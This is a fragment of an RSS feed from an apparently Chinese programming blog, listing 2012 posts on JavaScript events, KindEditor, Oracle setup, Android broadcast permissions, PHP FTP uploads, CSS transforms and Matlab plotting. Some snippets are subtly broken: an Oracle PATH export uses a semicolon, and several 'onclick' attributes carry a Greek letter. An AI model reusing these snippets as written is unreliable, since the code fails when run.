      <description>&amp;lt;!DOCTYPE html PUBLIC &#34;-//W3C//DTD HTML 4.01 Transitional//EN&#34; &#34; http://www.w3.org/TR/html4/loose.dtd&#34;&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=GBK&#34;&amp;gt; &amp;lt;title&amp;gt;js阻止事件冒泡的DEMO&amp;lt;/title&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; //阻止冒泡的方法 function stopPP(e) { var evt = e || window.event; //IE用cancelBubble=true来阻止而FF下需要用stopPropagation方法 evt.stopPropagation ? evt.stopPropagation() : (evt.cancelBubble=true); } &amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div style=&#34;margin: 150px 400px;width: 700px; height: 550px; background-color: #878788;&#34; οnclick=&#34;alert(&#39;最外层div上的onclick事件&#39;);&#34;&amp;gt; &amp;lt;h2&amp;gt;最外层div上的onclick事件&amp;lt;/h2&amp;gt; &amp;lt;div style=&#34;margin: 100px; width: 500px; height: 300px; background-color: #545444;&#34; οnclick=&#34;stopPP(arguments[0]);alert(&#39;中间层div上的onclick事件&#39;);&#34;&amp;gt; &amp;lt;h3&amp;gt;中间层div上的onclick事件&amp;lt;/h3&amp;gt; &amp;lt;div style=&#34;margin: 60px 100px; height: 100px; width: 300px; background-color: red;&#34;</description>
    </item>
    <item>
      <title>KindEditor编辑器无法获得提交的数据</title>
      <link>https://bchobby.github.io/posts/f321bab65ebe5673892469a416eaa57c/</link>
      <pubDate>Thu, 26 Apr 2012 23:08:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f321bab65ebe5673892469a416eaa57c/</guid>
      <description>以下列举KindEditor4X几处问题及解决方法： PS：标红处为重点。&#xA;1. 使用A标签提交表单：&#xA;&amp;lt;form name=&#34;frm&#34; action=&#34;demo.php&#34; method=&#34;post&#34;&amp;gt;&#xA;详细 内容：&amp;lt;textarea name=&#34;content&#34; style=&#34;width:800px;height:400px;visibility:hidden;&#34;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;a href=&#34;#&#34; οnclick=&#34;Javascript:frm.submit()&#34;&amp;gt;提交&amp;lt;/a&amp;gt;&#xA;&amp;lt;/form&amp;gt; 把上面A标签代码改成下列即可，&#xA;提交前需要执行editor.sync()，editor是K.create返回的对象。&#xA;&amp;lt;a href=&#34;#&#34; onclick=&#34;Javascript:editor.sync();frm.submit();&#34;&amp;gt;提交&amp;lt;/a&amp;gt;&#xA;注意：提交表单的命名（标蓝色处）要一致。&#xA;2.检查form标签放在table和tr之间，如果是这样的话form自动绑定事件可能有问题。解决方法是，提交时请执行一下editor.sync()。&#xA;具体实例如下：&#xA;&amp;lt;link rel=&#34;stylesheet&#34; href=&#34;kindeditor/themes/default/default.css&#34; /&amp;gt;&#xA;&amp;lt;link rel=&#34;stylesheet&#34; href=&#34;kindeditor/plugins/code/prettify.css&#34; /&amp;gt;&#xA;&amp;lt;script charset=&#34;utf-8&#34; src=&#34;kindeditor/kindeditor.js&#34;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script charset=&#34;utf-8&#34; src=&#34;kindeditor/lang/zh_CN.js&#34;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script charset=&#34;utf-8&#34; src=&#34;kindeditor/plugins/code/prettify.js&#34;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;KindEditor.ready(function(K) {&#xA;var editor = K.create(&#39;#content&#39;, {&#xA;cssPath : &#39;kindeditor/plugins/code/prettify.css&#39;,&#xA;uploadJson : &#39;kindeditor/php/upload_json.php&#39;,&#xA;fileManagerJson : &#39;kindeditor/php/file_manager_json.php&#39;,&#xA;allowFileManager : true,&#xA;afterCreate : function() {&#xA;var self = this;</description>
    </item>
    <item>
      <title>lsnrctl command not found,sqlplus commend not found</title>
      <link>https://bchobby.github.io/posts/cd49e6844e2f204ec313ab335ca6220a/</link>
      <pubDate>Mon, 16 Apr 2012 11:19:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd49e6844e2f204ec313ab335ca6220a/</guid>
      <description>在linux安装完oracle时,当你遇到lsnrctl command not found或者sqlplus commend not found等命令都不能用时,会有几种情况&#xA;1,首先你先查看下环境变量里面有没有加入oracle的配置&#xA;执行 echo $ORACLE_HOME 没有的话,你执行&#xA;export ORACLE_HOME=&amp;lt;your Oracle Home&amp;gt; . 比如your orcal home是/db/product/11.2.0/dbhome_1&#xA;然后再执行 export PATH=$ORACLE_HOME/bin;$PATH&#xA;重起profile&#xA;source profile&#xA;2,当配置完环境变量后,还是不行,可以执行如下操作&#xA;cd /&#xA;su - root&#xA;su - oracle&#xA;这样基本上是可以解决了,如果还不行的话,把电脑搬到楼顶,你懂的. source /home/oracle/.bash_profile</description>
    </item>
    <item>
      <title>手机网页点击链接触发手机自动拨打或保存电话的代码</title>
      <link>https://bchobby.github.io/posts/4f8722a8622286daabe32e72b9fd2585/</link>
      <pubDate>Thu, 12 Apr 2012 18:55:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f8722a8622286daabe32e72b9fd2585/</guid>
      <description>通过网页拨打电话 &amp;lt;p&amp;gt;&amp;lt;a href=”wtai://wp/mc;135xxxxxxxx ”&amp;gt;拨打电话&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;注: 135xxxxxxxx是号码, 你可以换成你想拨打的号码.&#xA;通过网页存储电话号码 &amp;lt;p&amp;gt;&amp;lt;a href=”wtai://wp/ap;1860;中国移动”&amp;gt;存储号码&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;注: 这种方法可以直接调出手机的保存电话号码的界面. 以上方法在Dopod机器上验证过. 其他机器不保证是否实现了WTAI.&#xA;最后摘录一段WTAI的介绍:&#xA;WTAI: wireless Telephony applications interface. It defines a set of WTA-related functions in a wireless device that can be invoked via WML or WMLScript.&#xA;无线电话应用接口，它定义了一系列的无线设备上的与WTA相关的功能函数，这些功能函数能被WML或WMLScript调用.&#xA;WTAI 函数只能在WAP1.2以上的版本用.&#xA;拨打电话我在nokia s60 V3上测试的，其他的无保证。。&#xA;前面发的这文，经过测试这段拨号代码&amp;lt;a href=”wtai://wp/mc;110 ”&amp;gt;拨打电话&amp;lt;/a&amp;gt;只在塞班与安卓上支持，而iphone是不支持的，现在有更新的方法如下：&#xA;&amp;lt;a href=”tel://110 ”&amp;gt;拨打电话&amp;lt;/a&amp;gt;&#xA;这种方式塞班、安卓与iphone都支持。</description>
    </item>
    <item>
      <title>FF下innerHTML获取不到input标签中value的值解决办法</title>
      <link>https://bchobby.github.io/posts/cbc19f86a03a0c19fbbf9be526297827/</link>
      <pubDate>Thu, 05 Apr 2012 12:10:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbc19f86a03a0c19fbbf9be526297827/</guid>
      <description>页面代码：&#xA;&amp;lt;div id=&#34;divid&#34;&amp;gt;&#xA;&amp;lt;input type=&#34;text&#34; value=&#34;&#34; id=&#34;testid&#34; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;很多时候，，，页面上input标签中的value需要通过javascript动态设置其值：document.getElementById(&#39;testid&#39;).value=&#39;test value&#39;;&#xA;通过document.getElementById(‘divid’).innerHTML：&#xA;IE下：&amp;lt;input type=&#34;text&#34; value=&#34;test value&#34; id=&#34;testid&#34; /&amp;gt;&#xA;FF下：&amp;lt;input type=&#34;text&#34; value=&#34;&#34; id=&#34;testid&#34; /&amp;gt;&#xA;这就达不到我们想要的效果。。。。。&#xA;解决办法：&#xA;document.getElementById(&#39;testid&#39;).value=&#39;test value&#39;;&#xA;修改为：&#xA;var testid = document.getElementById(&#39;testid&#39;);&#xA;testid.value = &#34;test value&#34;;&#xA;testid.setAttribute(&#34;value&#34;, testid.value);&#xA;这样就通过innerHTML在FF下就可以获取和IE下一样的效果了。。。。。</description>
    </item>
    <item>
      <title>jQuery.cookie.js中cookie设置遇到的问题</title>
      <link>https://bchobby.github.io/posts/86bfb930082e3862853240e50fbb7115/</link>
      <pubDate>Sun, 01 Apr 2012 15:32:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86bfb930082e3862853240e50fbb7115/</guid>
      <description>jQuery.cookie.js文件内容相信看到这的朋友都有了：&#xA;jQuery.cookie = function(name, value, options) {&#xA;if (typeof value != &#39;undefined&#39;) { // name and value given, set cookie&#xA;options = options || {};&#xA;if (value === null) {&#xA;value = &#39;&#39;;&#xA;options.expires = -1;&#xA;}&#xA;var expires = &#39;&#39;;&#xA;if (options.expires &amp;amp;&amp;amp; (typeof options.expires == &#39;number&#39; || options.expires.toUTCString)) {&#xA;var date;&#xA;if (typeof options.expires == &#39;number&#39;) {&#xA;date = new Date();&#xA;date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));</description>
    </item>
    <item>
      <title>不共线三点确定圆心的简便算法</title>
      <link>https://bchobby.github.io/posts/98c5b80bf2d894b86fb4cea1e20ec70d/</link>
      <pubDate>Fri, 30 Mar 2012 16:57:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98c5b80bf2d894b86fb4cea1e20ec70d/</guid>
      <description>平面上三点圆的外心，或者空间中三点所确定平面上过此三点圆的圆心的计算公式如下:&#xA;If the vertices of a triangle are A(x1, y1, z1), B(x2, y2, z2) &amp;amp; C(x3, y3, z3), then&#xA;circum-centre x = (x1Sin2A + x2Sin2B + x3Sin2C)/ (Sin2A + sin2B + sin2C)&#xA;similar for y-coordinate, z-coordinate&#xA;虽然我没有想过如何推导,但是在计算机上测试，三维情况下是正确的。&#xA;外接圆半径为R=abc/(4S), S 是三角形的面积。</description>
    </item>
    <item>
      <title>『业务知识』关于条码、SKU、款号</title>
      <link>https://bchobby.github.io/posts/d429b0c6d340487dac10c8271292978d/</link>
      <pubDate>Thu, 15 Mar 2012 16:40:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d429b0c6d340487dac10c8271292978d/</guid>
      <description>条码（Barcode）：用于唯一标识某一组具有相同特定规格等的商品&#xA;款号（Style）：用于标识某一款商品，具体这一款商品有多少个条码、SKU，就要看商家的了&#xA;库存盘点单位（SKU，Stock Keeping Unit）：用于库存管理，一般为「款号+颜色+尺寸」&#xA;一般我们在做系统的时候，都是用的款号与SKU来进行标识一件商品，而不是使用Barcode。&#xA;当然，一般从扫描枪中扫描出的是Barcode，然后我们需要进行一些处理才会得到SKU。&#xA;我们也可以再对SKU进行处理，从而得到款号。&#xA;至于一个商品的价格应该定位在哪一个层次上，这个就要看具体的商家了。我做过按款号（一般个体差别不大的采用这个）定价的，也有按SKU的（比如：当IPhone4S是一个款号时，白色的、黑色的就可能分别是两个SKU，而白色的与黑色的价格不同，所以可能是按SKU定价的）。&#xA;参考：&#xA;BarcodeSku 转载于:https://www.cnblogs.com/sitemanager/archive/2012/03/15/2398312.html</description>
    </item>
    <item>
      <title>file.length()方法返回0字节</title>
      <link>https://bchobby.github.io/posts/89c9c0c04caa7ab5cf9665b54e285eee/</link>
      <pubDate>Fri, 09 Mar 2012 12:06:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89c9c0c04caa7ab5cf9665b54e285eee/</guid>
      <description>今天测试告诉我说上次的图片大小显示为0，而在硬盘上看是有大小的，自己检查代码发现：该文件是自己新生成的，流没有及时关闭，在关闭前调用的file.length()方法，故出现了此问题，但有的时候也可以得到文件大小的。</description>
    </item>
    <item>
      <title>Android Broadcast 和 BroadcastReceiver的权限限制</title>
      <link>https://bchobby.github.io/posts/65c642c3f5aafa119ac13c2b59fea64c/</link>
      <pubDate>Fri, 09 Mar 2012 11:14:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65c642c3f5aafa119ac13c2b59fea64c/</guid>
      <description>在Android应用开发中，有时会遇到以下两种情况，&#xA;1. 一些敏感的广播并不想让第三方的应用收到 ；&#xA;2. 要限制自己的Receiver接收某广播来源，避免被恶意的同样的ACTION的广播所干扰。&#xA;在这些场景下就需要用到广播的权限限制。&#xA;第一种场景： 谁有权收我的广播？&#xA;在这种情况下，可以在自己应用发广播时添加参数声明Receiver所需的权限。&#xA;首先，在Androidmanifest.xml中定义新的权限RECV_XXX，例如：&#xA;&amp;lt;permission android:name = &#34;com.android.permission.RECV_XXX&#34;/&amp;gt; 然后，在Sender app发送广播时将此权限作为参数传入，如下：&#xA;sendBroadcast(&#34;com.android.XXX_ACTION&#34;, &#34;com.android.permission.RECV_XXX&#34;); 这样做之后就使得只有具有RECV_XXX权限的Receiver才能接收此广播要接收该广播，在Receiver应用的AndroidManifest.xml中要添加对应的RECV_XXX权限。 例如：&#xA;&amp;lt;uses-permission android:name=&#34;com.android.permission.RECV_XXX&#34;&amp;gt;&amp;lt;/uses-permission&amp;gt; 第二种场景： 谁有权给我发广播？&#xA;在这种情况下，需要在Receiver app的&amp;lt;receiver&amp;gt; tag中声明一下Sender app应该具有的权限。&#xA;首先同上，在AndroidManifest.xml中定义新的权限SEND_XXX，例如：&#xA;&amp;lt;permission android:name=&#34;com.android.SEND_XXX&#34;/&amp;gt; 然后，在Receiver app的Androidmanifest.xml中的&amp;lt;receiver&amp;gt;tag里添加权限SEND_XXX的声明，如下： &amp;lt;receiver android:name=&#34;.XXXReceiver&#34; android:permission=&#34;com.android.permission.SEND_XXX&#34;&amp;gt; &amp;lt;intent-filter&amp;gt; &amp;lt;action android:name=&#34;com.android.XXX_ACTION&#34; /&amp;gt; &amp;lt;/intent-filter&amp;gt; &amp;lt;/receiver&amp;gt; 这样一来，该Receiver便只能接收来自具有该SEND_XXX权限的应用发出的广播。 要发送这种广播，需要在Sender app的AndroidManifest.xml中也声明使用该权限即可，如下：&#xA;&amp;lt;uses-permission android:name=&#34;com.android.permission.SEND_XXX&#34;&amp;gt;&amp;lt;/uses-permission&amp;gt; 如此，可以用来对广播的来源与去处进行简单的控制。&#xA;同样，对Activity 和 ContentProvider的访问权限控制也类似。</description>
    </item>
    <item>
      <title>相对路径 绝对路径</title>
      <link>https://bchobby.github.io/posts/36874dd21dd3aa5dd8be1e4954b3642d/</link>
      <pubDate>Thu, 01 Mar 2012 09:27:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36874dd21dd3aa5dd8be1e4954b3642d/</guid>
      <description> 1、首先文件分隔符一般用/ ，\ 是转义符这个应该要熟悉。 2、然后绝对路径和相对路径的表示方法大多数情况下都相似的：&#xA;/开头表示根目录， ./表示当前目录， ../上级目录， 直接用文件名不带/也表示同一目录，这些都是相对于当前文件的位置来说的。&#xA;3、绝对路径的话就是写全了 </description>
    </item>
    <item>
      <title>用Java编写你自己的简单HTTP服务器</title>
      <link>https://bchobby.github.io/posts/e7b9c02f61f7a597113ff4618d9ab53a/</link>
      <pubDate>Sun, 26 Feb 2012 20:20:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7b9c02f61f7a597113ff4618d9ab53a/</guid>
      <description>HTTP是个大协议，完整功能的HTTP服务器必须响应资源请求，将URL转换为本地系统的资源名。响应各种形式的HTTP请求(GET、POST等)。处理不存在的文件请求，返回各种形式的状态码，解析MIME类型等。但许多特定功能的HTTP服务器并不需要所有这些功能。例如，很多网站只是想显示“建设中“的消息。很显然，Apache对于这样的网站是大材小用了。这样的网站完全可以使用只做一件事情的定制服务器。Java网络类库使得编写这样的单任务服务器轻而易举。&#xA;定制服务器不只是用于小网站。大流量的网站如Yahoo，也使用定制服务器，因为与一般用途的服务器相比，只做一件事情的服务器通常要快得多。针对某项任务来优化特殊用途的服务器很容易；其结果往往比需要响应很多种请求的一般用途服务器高效得多。例如，对于重复用于多页面或大流量页面中的图标和图片，用一个单独的服务器处理会更好（并且还可以避免在请求时携带不必要的Cookie，因而可以减少请求/响应数据，从而减少下载带宽，提升速度）；这个服务器在启动时把所有图片文件读入内存，从RAM中直接提供这些文件，而不是每次请求都从磁盘上读取。此外，如果你不想在包含这些图片的页面请求之外单独记录这些图片，这个单独服务器则会避免在日志记录上浪费时间。&#xA;本篇为大家简要演示三种HTTP服务器：&#xA;(1) 简单的单文件服务器&#xA;(2) 重定向服务器&#xA;(3) 完整功能的HTTP服务器&#xA;简单的单文件服务器&#xA;该服务器的功能：无论接受到何种请求，都始终发送同一个文件。这个服务器命名为SingleFileHTTPServer，文件名、本地端口和内容编码方式从命令行读取。如果缺省端口，则假定端口号为80。如果缺省编码方式，则假定为ASCII。 import java.io.*; import java.net.ServerSocket; import java.net.Socket; public class SingleFileHTTPServer extends Thread { private byte[] content; private byte[] header; private int port=80; private SingleFileHTTPServer(String data, String encoding, String MIMEType, int port) throws UnsupportedEncodingException { this(data.getBytes(encoding), encoding, MIMEType, port); } public SingleFileHTTPServer(byte[] data, String encoding, String MIMEType, int port)throws UnsupportedEncodingException { this.content=data; this.port=port; String header=&#34;HTTP/1.0 200 OK\r\n&#34;+ &#34;Server: OneFile 1.0\r\n&#34;+ &#34;</description>
    </item>
    <item>
      <title>C中static的作用</title>
      <link>https://bchobby.github.io/posts/3724ae8dd1a5bde7f86e41dedf12868a/</link>
      <pubDate>Wed, 22 Feb 2012 11:08:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3724ae8dd1a5bde7f86e41dedf12868a/</guid>
      <description>在C语言中，static的字面意思很容易把我们导入歧途，其实它的作用有三条。 （1）先来介绍它的第一条也是最重要的一条：隐藏。 当我们同时编译多个文件时，所有未加static前缀的全局变量和函数都具有全局可见性。为理解这句话，我举例来说明。我们要同时编译两个源文件，一个是a.c，另一个是main.c。 下面是a.c的内容 char a = &#39;A&#39;; // global variable void msg() { printf(&#34;Hello\n&#34;); } 下面是main.c的内容 int main(void) { extern char a; // extern variable must be declared before use printf(&#34;%c &#34;, a); (void)msg(); return 0; } 程序的运行结果是： A Hello 你可能会问：为什么在a.c中定义的全局变量a和函数msg能在main.c中使用？前面说过，所有未加static前缀的全局变量和函数都具有全局可见性，其它的源文件也能访问。此例中，a是全局变量，msg是函数，并且都没有加static 前缀，因此对于另外的源文件main.c是可见的。 如果加了static，就会对其它源文件隐藏。例如在a和msg的定义前加上 static，main.c就看不到它们了。利用这一特性可以在不同的文件中定义同名函数和同名变量，而不必担心命名冲突。Static可以用作函数和变量的前缀，对于函数来讲，static的作用仅限于隐藏，而对于变量，static还有下面两个作用。（2）static的第二个作用是保持变量内容的持久。存储在静态数据区的变量会在程序刚开始运行时就完成初始化，也是唯一的一次初始化。共有两种变量存储在静态存储区：全局变量和static变量，只不过和全局变量比起来，static可以控制变量的可见范围，说到底static还是用来隐藏的。虽然这种用法不常见，但我还是举一个例子。 #include &amp;lt;stdio.h&amp;gt; int fun(void){ static int count = 10; // 事实上此赋值语句从来没有执行过 return count--; } int count = 1; int main(void) { printf(&#34;global\t\tlocal static\n&#34;); for(; count &amp;lt;= 10; ++count) printf(&#34;</description>
    </item>
    <item>
      <title>PHP文件上传至另一台服务器</title>
      <link>https://bchobby.github.io/posts/ce999314ba2657eb128fd694848b8b9e/</link>
      <pubDate>Mon, 13 Feb 2012 11:00:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce999314ba2657eb128fd694848b8b9e/</guid>
      <description>PHP程序上传文件时，想指定上传到另一台服务器。&#xA;move_uploaded_file这个方法第二个参数指定的存放路径需要和php程序文件一个服务器，没办法指定其他服务器的地址，本人才疏学浅，哪位大哥会的还请赐教下。&#xA;既然不能这样实现，肯定有其他办法的，想着ftp也可以实现文件传输的哇，继而朝ftp方向入手。&#xA;首先，在自己台式机和笔记本上都开通了ftp，这个不会的同学可以网上查serv-u，相关教程肯定不少的。&#xA;然后在台式机本地做了个测试：&#xA;$ftp_server = &#34;192.168.1.100&#34;;&#xA;$ftp_user_name = &#34;laohu&#34;;&#xA;$ftp_user_pass = &#34;123456&#34;;&#xA;$conn_id = ftp_connect($ftp_server) or die(&#34;Couldn&#39;t connect to $ftp_server&#34;);&#xA;$file = &#39;test.txt&#39;;&#xA;$remote_file = &#39;/test/a.txt&#39;;&#xA;$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);&#xA;if (ftp_put($conn_id, $remote_file, $file, FTP_BINARY)) {&#xA;echo &#34;文件移动成功\n&#34;;&#xA;} else {&#xA;echo &#34;移动失败\n&#34;;&#xA;} ftp_close($conn_id);&#xA;运行后：文件移动成功。&#xA;要的就是这个效果了，之后用台式机做程序服务器，上传附件时全用ftp方法上传至笔记本上，笔记本ip是105，相应代码如下：&#xA;if (is_uploaded_file($_FILES[&#39;uploadfile&#39;][&#39;tmp_name&#39;])) {&#xA;$ftp_server = &#34;192.168.1.105&#34;;&#xA;$ftp_user_name = &#34;lesley&#34;;&#xA;$ftp_user_pass = &#34;123456&#34;;&#xA;$conn_id = ftp_connect($ftp_server) or die(&#34;Couldn&#39;t connect to $ftp_server&#34;</description>
    </item>
    <item>
      <title>Transform【变形】属性</title>
      <link>https://bchobby.github.io/posts/f9fd6117ee04e34672d5d725901f01d8/</link>
      <pubDate>Sat, 11 Feb 2012 21:53:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9fd6117ee04e34672d5d725901f01d8/</guid>
      <description>来源：http://www.w3cplus.com/content/css3-transform&#xA;今天开始我们一起来学习有关于CSS3制作动画的几个属性：变形(transform)、转换(transition)和动画(animation)等更高级的CSS3技术。本文主要介绍的是这三个属性之中的第一个──变形transform。&#xA;Transform字面上就是变形，改变的意思。在CSS3中transform主要包括以下几种：旋转rotate、扭曲skew、缩放scale和移动translate以及矩阵变形matrix。下面我们一起来看看CSS3中transform的旋转rotate、扭曲skew、缩放scale和移动translate具体如何实现，老样子，我们就从transform的语法开始吧。&#xA;语法：&#xA;transform ： none | &amp;lt;transform-function&amp;gt; [ &amp;lt;transform-function&amp;gt; ]* 也就是： transform: rotate | scale | skew | translate |matrix; none:表示不进行变换；&amp;lt;transform-function&amp;gt;表示一个或多个变换函数，以空格分开；换句话说就是我们同时对一个元素进行transform的多种属性操作，例如rotate、scale、translate三种，但这里需要提醒大家的，以往我们叠加效果都是用逗号（“，”）隔开，但transform中使用多个属性时却需要有空格隔开。大家记住了是空格隔开。&#xA;取值：&#xA;transform属性实现了一些可用SVG实现的同样的功能。它可用于内联(inline)元素和块级(block)元素。它允许我们旋转、缩放和移动元素 ，他有几个属性值参数：rotate;translate;scale;skew;matrix。下面我们分别来介绍这几个属性值参数的具体使用方法：&#xA;一、旋转rotate&#xA;rotate(&amp;lt;angle&amp;gt;) ：通过指定的角度参数对原元素指定一个2D rotation（2D 旋转），需先有transform-origin属性的定义。transform-origin定义的是旋转的基点，其中angle是指旋转角度，如果设置的值为正数表示顺时针旋转，如果设置的值为负数，则表示逆时针旋转。如：transform:rotate(30deg):&#xA;二、移动translate&#xA;移动translate我们分为三种情况：translate(x,y)水平方向和垂直方向同时移动（也就是X轴和Y轴同时移动）；translateX(x)仅水平方向移动（X轴移动）；translateY(Y)仅垂直方向移动（Y轴移动），具体使用方法如下：&#xA;1、translate(&amp;lt;translation-value&amp;gt;[, &amp;lt;translation-value&amp;gt;]) ：通过矢量[tx, ty]指定一个2D translation，tx 是第一个过渡值参数，ty 是第二个过渡值参数选项。如果 未被提供，则ty以 0 作为其值。也就是translate(x,y),它表示对象进行平移，按照设定的x,y参数值,当值为负数时，反方向移动物体，其基点默认为元素 中心点，也可以根据transform-origin进行改变基点。如transform:translate(100px,20px):&#xA;2、translateX(&amp;lt;translation-value&amp;gt;) ： 通过给定一个X方向上的数目指定一个translation。只向x轴进行移动元素，同样其基点是元素中心点，也可以根据transform-origin改变基点位置。如：transform:translateX(100px):&#xA;3、translateY(&amp;lt;translation-value&amp;gt;) ：通过给定Y方向的数目指定一个translation。只向Y轴进行移动，基点在元素心点，可以通过transform-origin改变基点位置。如：transform:translateY(20px):&#xA;三、缩放scale&#xA;缩放scale和移动translate是极其相似，他也具有三种情况：scale(x,y)使元素水平方向和垂直方向同时缩放（也就是X轴和Y轴同时缩放）；scaleX(x)元素仅水平方向缩放（X轴缩放）；scaleY(y)元素仅垂直方向缩放（Y轴缩放），但它们具有相同的缩放中心点和基数，其中心点就是元素的中心位置，缩放基数为1，如果其值大于1元素就放大，反之其值小于1，元素缩小。下面我们具体来看看这三种情况具体使用方法：&#xA;1、scale(&amp;lt;number&amp;gt;[, &amp;lt;number&amp;gt;])：提供执行[sx,sy]缩放矢量的两个参数指定一个2D scale（2D缩放）。如果第二个参数未提供，则取与第一个参数一样的值。scale(X,Y)是用于对元素进行缩放，可以通过transform-origin对元素的基点进行设置，同样基点在元素中心位置；基中X表示水平方向缩放的倍数，Y表示垂直方向的缩放倍数，而Y是一个可选参数，如果没有设置Y值，则表示X，Y两个方向的缩放倍数是一样的。并以X为准。如：transform:scale(2,1.5):&#xA;2、scaleX(&amp;lt;number&amp;gt;) ： 使用 [sx,1] 缩放矢量执行缩放操作，sx为所需参数。scaleX表示元素只在X轴(水平方向)缩放元素，他的默认值是(1,1)，其基点一样是在元素的中心位置，我们同样是通过transform-origin来改变元素的基点。如：transform:scaleX(2):&#xA;3、scaleY(&amp;lt;number&amp;gt;) ： 使用 [i,sy] 缩放矢量执行缩放操作，sy为所需参数。scaleY表示元素只在Y轴（垂直方向）缩放元素，其基点同样是在元素中心位置，可以通过transform-origin来改变元素的基点。如transform:scaleY(2):&#xA;四、扭曲skew&#xA;扭曲skew和translate、scale一样同样具有三种情况：skew(x,y)使元素在水平和垂直方向同时扭曲（X轴和Y轴同时按一定的角度值进行扭曲变形）；skewX(x)仅使元素在水平方向扭曲变形（X轴扭曲变形）；skewY(y)仅使元素在垂直方向扭曲变形（Y轴扭曲变形），具体使用如下：&#xA;1、skew(&amp;lt;angle&amp;gt; [, &amp;lt;angle&amp;gt;]) ：X轴Y轴上的skew transformation（斜切变换）。第一个参数对应X轴，第二个参数对应Y轴。如果第二个参数未提供，则值为0，也就是Y轴方向上无斜切。skew是用来对元素进行扭曲变行，第一个参数是水平方向扭曲角度，第二个参数是垂直方向扭曲角度。，其中第二个参数是可选参数，如果没有设置第二个参数，那么X轴和Y轴以同样的角度进行变形。同样是以元素中心为基点，我们也可以通过transform-origin来改变元素的基点位置。如：transform:skew(30deg,10deg):</description>
    </item>
    <item>
      <title>C# 自定义控件固定大小</title>
      <link>https://bchobby.github.io/posts/33029f15acf43e184496e9484ca431d4/</link>
      <pubDate>Thu, 09 Feb 2012 23:21:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33029f15acf43e184496e9484ca431d4/</guid>
      <description> 今天做自定义，需要固定控件大小，一共找到了三种方法： 设置最大与最小值相等在resize事件中指定大小通过自定义设计器来禁止修改大小 </description>
    </item>
    <item>
      <title>Matlab Figure 调整大小、字号、线宽</title>
      <link>https://bchobby.github.io/posts/ffc77377841cc30cb6cabdd8c56217fe/</link>
      <pubDate>Thu, 09 Feb 2012 21:49:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffc77377841cc30cb6cabdd8c56217fe/</guid>
      <description>绘图窗口菜单File | Export Setup里很方便的改变这些属性&#xA;特别是Expand axes to fit figure，会更好减少空白边。&#xA;设置好可以保存模板，下次调用。&#xA;也可以将这个功能写到m文件中，自动执行吧&#xA;用matlab画了一张图，投稿时要缩小，缩小后字体就会过小或者发虚。&#xA;解决办法&#xA;% figure resize&#xA;set(gcf,&#39;Position&#39;,[100 100 260 220]);&#xA;set(gca,&#39;Position&#39;,[.13 .17 .80 .74]); %调整 XLABLE和YLABLE不会被切掉&#xA;figure_FontSize=8;&#xA;set(get(gca,&#39;XLabel&#39;),&#39;FontSize&#39;,figure_FontSize,&#39;Vertical&#39;,&#39;top&#39;);&#xA;set(get(gca,&#39;YLabel&#39;),&#39;FontSize&#39;,figure_FontSize,&#39;Vertical&#39;,&#39;middle&#39;);&#xA;set(findobj(&#39;FontSize&#39;,10),&#39;FontSize&#39;,figure_FontSize);&#xA;set(findobj(get(gca,&#39;Children&#39;),&#39;LineWidth&#39;,0.5),&#39;LineWidth&#39;,2);&#xA;解释：&#xA;set(gcf,&#39;Position&#39;,[100 100 260 220]);&#xA;这句是设置绘图的大小，不需要到word里再调整大小。我给的参数，图的大小是7cm&#xA;set(gca,&#39;Position&#39;,[.13 .17 .80 .74]);&#xA;这句是设置xy轴在图片中占的比例，可能需要自己微调。&#xA;figure_FontSize=8;&#xA;set(get(gca,&#39;XLabel&#39;),&#39;FontSize&#39;,figure_FontSize,&#39;Vertical&#39;,&#39;top&#39;);&#xA;set(get(gca,&#39;YLabel&#39;),&#39;FontSize&#39;,figure_FontSize,&#39;Vertical&#39;,&#39;middle&#39;);&#xA;set(findobj(&#39;FontSize&#39;,10),&#39;FontSize&#39;,figure_FontSize);&#xA;这4句是将字体大小改为8号字，在小图里很清晰&#xA;set(findobj(get(gca,&#39;Children&#39;),&#39;LineWidth&#39;,0.5),&#39;LineWidth&#39;,2);&#xA;这句是将线宽改为2</description>
    </item>
    <item>
      <title>HTML5 实现小车动画效果(Canvas/CSS3/JQuery)</title>
      <link>https://bchobby.github.io/posts/0eee1c0a507bc5fc407dc5f3a13aa2ea/</link>
      <pubDate>Fri, 03 Feb 2012 19:14:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0eee1c0a507bc5fc407dc5f3a13aa2ea/</guid>
